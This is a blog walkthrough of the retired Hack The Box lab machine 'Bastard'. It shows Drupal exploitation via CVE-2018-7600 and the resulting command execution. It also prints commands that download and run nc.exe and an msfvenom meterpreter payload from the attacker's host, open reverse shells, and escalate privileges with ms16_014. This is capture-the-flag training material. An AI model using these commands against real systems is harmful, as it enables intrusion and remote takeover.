Skip to main content

hackthebox - retired - Bastard


Hackthebox.eu - Retired - Bastard


Recon

As always I start with a simple Up/Down scan on all TCP port to see what is open
# nmap -T4 -p- -oX ./nmapb.xml bastard.htb

Then I convert it to HTML to make it pretty :)

 xsltproc ./nmapb.xml -o ./nmapb.html


We have port 80,135 and 49154

Let's scan just again on those ports with the -A switch to finger OS/Services

# nmap -T4 -p80,135,49154 -A -oX ./nmapf.xml bastard.htb

Then convert that to HTML also
  xsltproc ./nmapf.xml -o ./nmapf.html

So we have IIS 7.5 on 80 and RPC on 135 and 49154

Lets see whats on 80

A login form powered by Drupal

There are a bunch of listings in the robots.txt for the site



I found this while enumerating through the robots.txt list

Drupal 7.54





Expolit

Googling around for exploits on Drupal 7.54 we find

Which will allow us to execute commands with

I cloned it to my attacking machine

Then ran a simple whoami to see if it worked

 python drupa7-CVE-2018-7600.py http://bastard.htb -c "whoami"



Cool
Iusr sounds like a pretty low level user though

Setup my an ICMP listenter and tried ping to see if that worked too
~# tcpdump -i tun0 -n icmp

python drupa7-CVE-2018-7600.py http://bastard.htb -c "ping  10.10.14.48"


Lets get some more info on the box so we can setup our reverse shell.

python drupa7-CVE-2018-7600.py http://bastard.htb -c "systeminfo"



Ok its a windows server 2008r2 box,x64



Let's get our shell

I'm just going to copy over netcat.exe to the bastard box and have it connect back to my machine..

I copy nc.exe to my working directory

~/Desktop/HTB/bastard/CVE-2018-7600# cp /usr/share/windows-resources/binaries/nc.exe ./

Then I start SimpleHTTPServer in that directory

~/Desktop/HTB/bastard/CVE-2018-7600# python -m SimpleHTTPServer

Then I use certutil to download that file to bastard
python drupa7-CVE-2018-7600.py http://bastard.htb -c "certutil.exe -urlcache -split -f "http://10.10.14.48:8000/nc.exe" nc.exe"

We can see the file getting transferred here


Then I setup my listener

# nc -lvp 4444

The only thing left to do here is call the exe


 python drupa7-CVE-2018-7600.py http://bastard.htb -c " nc.exe 10.10.14.48 4444 -e cmd.exe"


Good The Simpsons GIF

Ok we have foothold as the user isusr


We can read the user.txt flag from this 


Now I'm going to upload a reverse meterpreter shell to escalate

Step one, create payload using msfvenom

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.14.48 lport=443 -f exe -o bastard.exe

Then I'll use SimpleHTTPServer to upload it to bastard

# python -m SimpleHTTPServer

Then from my shell, I'll use certutil to download the payload

certutil.exe -urlcache -split -f "http://10.10.14.48:8000/bastard.exe" bastard.exe

Setup a new meterpreter listener

Msfconsole

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
Set Lhost 10.10.14.48
Set lport 443


Now that we have our meterpreter listener running we simply run the bastard.exe we created and downloaded to bastard



Checking back on my kali box

We see we did get a meterpreter shell opened.

I put it to background and loaded up
 use post/multi/recon/local_exploit_suggester 

Set it to session 1 and let it see what this box might be vulnerable to. ( if we were paying attention earlier from a systeminfo screen we would have seen there have been zero patches to this box)

Condescending Schitts Creek GIF by CBC

[*] 10.10.10.9 - 13 exploit checks are being tried...
[+] 10.10.10.9 - exploit/windows/local/bypassuac_dotnet_profiler: The target appears to be vulnerable.
[+] 10.10.10.9 - exploit/windows/local/bypassuac_sdclt: The target appears to be vulnerable.
[+] 10.10.10.9 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.
[+] 10.10.10.9 - exploit/windows/local/ms16_014_wmi_recv_notif: The target appears to be vulnerable.
[+] 10.10.10.9 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 10.10.10.9 - exploit/windows/local/ms16_075_reflection_juicy: The target appears to be vulnerable.

We get a list of apparent vulns on this machine. The first two didn't work since the user is not a member of the administrators group.

But when we load up
Use exploit/windows/local/ms16_014_wmi_recv_notif

Set our options

Set session 1
Set lhost 10.10.14.48
Set lport 5555

And run

We get…..


Woohooo we are system

Let's grab that hash yo.



Frank Gallagher End GIF by Showtime







Comments

Popular posts from this blog

HacktheBox - Retired - Frolic

HacktheBox - Retired - Frolic Recon Let's start out with a threader3000 scan Some interesting results here Port 22 and 445 aren't uncommon… but 1880 and 9999 are.. Let's let nmap run through these ports  Option Selection: 1 nmap -p22,445,1880,9999 -sV -sC -T4 -Pn -oA 10.10.10.111 10.10.10.111 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-05 16:17 EDT Nmap scan report for 10.10.10.111 Host is up (0.060s latency). PORT     STATE SERVICE     VERSION 22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA) |   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA) |_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519) 445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 1880/tcp open  http        Node.js (Express middlewar...

Hack The Box - Retired - Laboratory

HackTheBox - Laboratory - Retired Starting off with a quick scan using threader6000 /opt/threader3000/threader6000.py 10.10.10.216 Ports 22,80,443 came back. Run nmap against these ports. nmap -p22,80,443 -sV -sC -T4 -Pn -oN 10.10.10.216 10.10.10.216 nmap -p22,80,443 -sV -sC -Pn -T4 -oN 10.10.10.216 10.10.10.216 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-13 17:43 EDT Nmap scan report for laboratory.htb (10.10.10.216) Host is up (0.060s latency). PORT    STATE SERVICE  VERSION 22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |   3072 25:ba:64:8f:79:9d:5d:95:97:2c:1b:b2:5e:9b:55:0d (RSA) |   256 28:00:89:05:55:f9:a2:ea:3c:7d:70:ea:4d:ea:60:0f (ECDSA) |_  256 77:20:ff:e9:46:c0:68:92:1a:0b:21:29:d1:53:aa:87 (ED25519) 80/tcp  open  http     Apache httpd 2.4.41 |_...

A collection of online Security CTF and Learning sites

 Hellbound Hackers    Embedded Security CTF Arizona Cyber Warfare Range Over The Wire - Bandit Pico CTF 2018 Hack The Box.eu Root Me: Challenges/Forensic RingZero CTF Vulnerable By Design - Vulnerable VMs Murder Mystery SQL Challenge Incident Response Challenge Authentication Lab Walkthroughs Defcon CTF Archives Matrix Holiday Hack Cyber Defenders | Blue Team and CTF Crypto Hack - learning Crypto Video Learning Zero to Hero Pentesting by The Cyber Mentor